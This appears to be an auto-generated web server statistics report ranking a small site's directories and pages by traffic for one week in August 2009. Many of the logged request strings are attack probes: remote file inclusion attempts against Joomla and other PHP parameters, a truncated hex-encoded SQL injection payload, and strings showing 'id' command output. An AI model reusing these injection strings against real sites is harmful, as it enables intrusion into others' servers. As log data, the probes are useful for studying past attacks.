Directories Report

Week of 8/9/2009 to 8/15/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 24,990 61.24 328,317,851 68.17 851 18.96
2 [ /season] 10,180 24.95 55,646,276 11.55 1,108 24.68
3 [ /Templates] 2,101 5.15 1,590,387 0.33 694 15.46
4 [ /stats] 968 2.37 2,640,578 0.55 39 0.87
5 / 922 2.26 17,377,875 3.61 819 18.24
6 [ /webstats] 772 1.89 2,117,700 0.44 392 8.73
7 [ /pdfs] 232 0.57 58,393,957 12.13 162 3.61
8 /index.htm 84 0.21 1,984,564 0.41 83 1.85
9 /SASregistration.htm 78 0.19 3,346,999 0.69 76 1.69
10 /SAScontact.htm 55 0.13 1,024,119 0.21 53 1.18
11 /SASscholarship.htm 51 0.12 1,052,034 0.22 50 1.11
12 [ /?sIncPath=http:] 44 0.11 1,064,888 0.22 0 0.00
13 /SASfosas.htm 40 0.10 972,154 0.20 40 0.89
14 /SASabout.htm 38 0.09 849,528 0.18 38 0.85
15 /SASgallery.htm 33 0.08 698,246 0.14 30 0.67
16 [ /?custompluginfile[]=http:] 29 0.07 701,858 0.15 0 0.00
17 [ /?_SERVER[DOCUMENT_ROOT]=http:] 27 0.07 653,454 0.14 0 0.00
18 [ /galleries] 24 0.06 18,114 0.00 13 0.29
19 /SASnewsletter.htm 21 0.05 464,911 0.10 21 0.47
20 [ /?_zb_path=http:] 18 0.04 435,636 0.09 0 0.00
21 /SASlinks.htm 16 0.04 274,890 0.06 16 0.36
22 [ /?view=page&pagename=http:] 14 0.03 338,828 0.07 0 0.00
23 [ /?mosConfig_absolute_path=http:] 9 0.02 217,818 0.05 0 0.00
24 [ /?DOCUMENT_ROOT=http:] 4 0.01 96,808 0.02 0 0.00
25 [ //?sIncPath=http:] 3 0.01 72,606 0.02 0 0.00
26 /. 3 0.01 72,606 0.02 3 0.07
27 /?id=http: 3 0.01 72,606 0.02 0 0.00
28 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 3 0.01 72,606 0.02 0 0.00
29 /?p=40148 3 0.01 24,202 0.01 0 0.00
30 [ /?page=http:] 3 0.01 72,606 0.02 0 0.00
31 [ ///?_zb_path=http:] 2 0.00 48,404 0.01 0 0.00
32 /?';DECLARE 2 0.00 24,202 0.01 0 0.00
33 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
2 0.00 48,404 0.01 0 0.00
34 /?> 2 0.00 48,404 0.01 0 0.00
35 [ /?GLOBALS[mosConfig_absolute_path]=http:] 2 0.00 48,404 0.01 0 0.00
36 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
2 0.00 24,202 0.01 0 0.00
37 /?citysearch_profile_view=1&profile_id=41271045 2 0.00 48,404 0.01 0 0.00
38 [ /?custompluginfile=http:] 2 0.00 48,404 0.01 0 0.00
39 /?foiffs=in100fweg 2 0.00 48,404 0.01 0 0.00
40 [ /?id=http://CPE-144-131-145-199.static.nsw.bigpond.net.au] 2 0.00 48,404 0.01 0 0.00
41 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 2 0.00 48,404 0.01 0 0.00
42 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing) ?
2 0.00 48,404 0.01 0 0.00
43 [ ////////?mosConfig_absolute_path=http:] 1 0.00 24,202 0.01 0 0.00
44 [ ////?_SERVER[DOCUMENT_ROOT]=http:] 1 0.00 24,202 0.01 0 0.00
45 [ //?mosConfig_absolute_path=http:] 1 0.00 24,202 0.01 0 0.00
46 [ //?view=page&pagename=http:] 1 0.00 24,202 0.01 0 0.00
47 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,202 0.01 0 0.00
48 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,202 0.01 0 0.00
49 [ /?ABSOLUTE_PATH_STUDIP=http:] 1 0.00 24,202 0.01 0 0.00
50 [ /?_zb_path=..] 1 0.00 24,202 0.01 0 0.00
51 [ /?custompluginfile[]http:] 1 0.00 24,202 0.01 0 0.00
52 [ /?error=http:] 1 0.00 24,202 0.01 0 0.00
53 /?feed=rss2 1 0.00 24,202 0.01 0 0.00
54 [ /?language_id=http:] 1 0.00 24,202 0.01 0 0.00
55 /?leisurelog.com 1 0.00 24,202 0.01 0 0.00
56 /?menu_frame.html 1 0.00 24,202 0.01 0 0.00
57 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
1 0.00 24,202 0.01 0 0.00
58 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,202 0.01 0 0.00
59 [ /icons] 1 0.00 0 0.00 1 0.02